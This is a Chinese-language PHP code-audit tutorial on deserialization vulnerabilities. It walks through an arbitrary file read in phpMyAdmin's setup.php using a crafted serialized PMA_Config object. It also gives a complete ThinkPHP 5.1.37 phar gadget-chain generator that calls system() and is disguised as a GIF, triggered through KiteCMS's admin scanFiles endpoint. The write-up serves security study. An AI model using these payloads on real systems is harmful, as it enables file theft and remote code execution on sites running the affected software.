MVC-PHP代码审计3-反序列化-原生-框架 #
原生序列化魔术方法
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
1:搜索序列化函数
案例一admin2-任意读取文件 #
搜索反序列化unserialize关键字搜索到
setup.php
if (isset($_POST['configuration']) && $action != 'clear' ) {
// Grab previous configuration, if it should not be cleared
$configuration = unserialize($_POST['configuration']);
} else {
// Start with empty configuration
$configuration = array();
}
然后我们查看wakeup魔术方法
在config.class.php中发现一个wakeup方法
function __wakeup()
{
if ( $this->source_mtime !== filemtime($this->getSource())
|| $this->error_config_file || $this->error_config_default_file ) {
$this->settings = array();
$this->load($this->getSource());
$this->checkSystem();
}
// check for https needs to be done everytime,
// as https and http uses same session so this info can not be stored
// in session
$this->checkIsHttps();
$this->checkCollationConnection();
}
function getSource()
{
return $this->source;
}
--------------------load函数调用了eval-------------------------------
function load($source = null)
{
$this->loadDefaults();
if ( null !== $source ) {
$this->setSource($source);
}
if ( ! $this->checkConfigSource() ) {
return false;
}
$cfg = array();
/**
* Parses the configuration file
*/
$old_error_reporting = error_reporting(0);
if ( function_exists('file_get_contents') ) {
$eval_result =
eval( '?>' . file_get_contents($this->getSource()) );
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}
分析:
action不为clear & configuration 反序列化必须有值
getsource是eval控制的值 我们就把他修改为文件名 因为前面有filegetcontent
我们就先生成反序列化链
<?php
class PMA_Config{
var $source = 'd://1.txt';
}
$un=new PMA_Config;
echo serialize($un);
?>
结果是O:10:"PMA_Config":1:{s:6:"source";s:9:"d://1.txt";}
然后post发包
成功读取文件内容
案例二-KITECMS-TP框架-后台-PHAR #
判断是不是用了框架
目录文件名字
文件代码有TP的引用
代码有TP的逻辑
readme里面说了
搜索版本 const VERSION = '5.1.37 LTS';
框架就是实现了模型你直接用就行,但是框架有漏洞你用你的代码就会有漏洞
参考:https://www.anquanke.com/post/id/187819
Phar利用条件:如file_exists(),fopen(),file_get_contents(),file(),is_dir等文件操作的函数,要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
安装后输入/install 安装可能需要配置伪静态代码
打开源码就弹出了readme文件里面说明了是使用了tp框架
生成phar文件然后上传上去
要关闭php版本中的readonly
;phar.readonly = On 这是默认开启的要关闭 把前面分号删除后重启生效 产生文件后可以打开主要是产生文件
访问后生成phar文件
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => "notepad");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
$phar = new Phar('xiaodi.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
}
?>
http://localhost:908/admin/passport/login.html 登录界面后台
application/admin/controller/Admin.php文件 找到的控制点
我们就按照上面那个访问 /admin/admin/scanFiles 来触发试试
function scanFiles($dir) {
if (!is_dir($dir)) {
return [];
}
// 兼容各操作系统
$dir = rtrim(str_replace('\\', '/', $dir), '/').'/';
// 栈,默认值为传入的目录
$dirs = array($dir);
// 放置所有文件的容器
$rt = [];
do {
// 弹栈
$dir = array_pop($dirs);
// 扫描该目录
$tmp = scandir($dir);
foreach($tmp as $f) {
if ($f == '.' || $f == '..') continue;
// 组合当前绝对路径
$path = $dir.$f;
// 如果是目录,压栈。
if (is_dir($path)) {
array_push($dirs, $path.'/');
} else if (is_file($path)) { // 如果是文件,放入容器中
$rt[] = $path;
}
}
} while ( $dirs ); // 直到栈中没有目录
return $rt;
}
输入位置传入参数直接弹出文本
只要是文件函数 且文件可控制 版本符合poc 就可以触发phar协议反序列化,如发送数据包里面有可控的也可以如POST